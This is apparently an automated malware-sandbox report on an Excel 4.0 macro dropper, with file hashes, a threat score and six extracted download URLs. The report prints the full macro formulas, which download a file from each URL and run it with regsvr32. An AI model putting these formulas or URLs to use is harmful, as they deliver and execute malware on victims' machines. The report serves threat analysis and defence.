Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    d37e8755b3056ba9459813257002b673ef13412da52db0736786c01e455e5a88

  • Size

    40KB

  • Sample

    241111-z11ycswjas

  • MD5

    f40198128883ce8611f4ea9ffdc9762f

  • SHA1

    2aa59ffc643b9d89b74ea84a899bf32df8503ab4

  • SHA256

    d37e8755b3056ba9459813257002b673ef13412da52db0736786c01e455e5a88

  • SHA512

    1c5cd7fb45e06bdea940252578ec18008f22e78f025809bcaf319908e8f4547a4058a678b342cee1186f9ff9ef796a39eede0c5c43cea66654465aaea4a5f6b9

  • SSDEEP

    768:qbomCS/DOevZCwt7OyKfcrND59V+L9Rw4eWrXcTqZ0VfddDhw:6omd/DmylND59V4jwmXc2CVfdxi

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://linkmys.com/stats/nnF/

https://livejagat.com/h/UDwLU4FTwf/

https://ticsnp.azurewebsites.net/anko-agust/treN2T/

https://paintingsouq.com/l93mxsk/Ich7kJF7n3Fu5v/

https://sanvicente.group/wp-content/dBsh5232WHIsiwyQAln/

https://novinex.net/wp-admin/p9FV5/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://linkmys.com/stats/nnF/","..\dxw.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/UDwLU4FTwf/","..\dxw.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ticsnp.azurewebsites.net/anko-agust/treN2T/","..\dxw.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://paintingsouq.com/l93mxsk/Ich7kJF7n3Fu5v/","..\dxw.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sanvicente.group/wp-content/dBsh5232WHIsiwyQAln/","..\dxw.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/p9FV5/","..\dxw.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dxw.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://linkmys.com/stats/nnF/

xlm40.dropper

https://livejagat.com/h/UDwLU4FTwf/

xlm40.dropper

https://ticsnp.azurewebsites.net/anko-agust/treN2T/

xlm40.dropper

https://paintingsouq.com/l93mxsk/Ich7kJF7n3Fu5v/

xlm40.dropper

https://sanvicente.group/wp-content/dBsh5232WHIsiwyQAln/

xlm40.dropper

https://novinex.net/wp-admin/p9FV5/

Targets

    • Target

      d37e8755b3056ba9459813257002b673ef13412da52db0736786c01e455e5a88

    • Size

      40KB

    • MD5

      f40198128883ce8611f4ea9ffdc9762f

    • SHA1

      2aa59ffc643b9d89b74ea84a899bf32df8503ab4

    • SHA256

      d37e8755b3056ba9459813257002b673ef13412da52db0736786c01e455e5a88

    • SHA512

      1c5cd7fb45e06bdea940252578ec18008f22e78f025809bcaf319908e8f4547a4058a678b342cee1186f9ff9ef796a39eede0c5c43cea66654465aaea4a5f6b9

    • SSDEEP

      768:qbomCS/DOevZCwt7OyKfcrND59V+L9Rw4eWrXcTqZ0VfddDhw:6omd/DmylND59V4jwmXc2CVfdxi

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks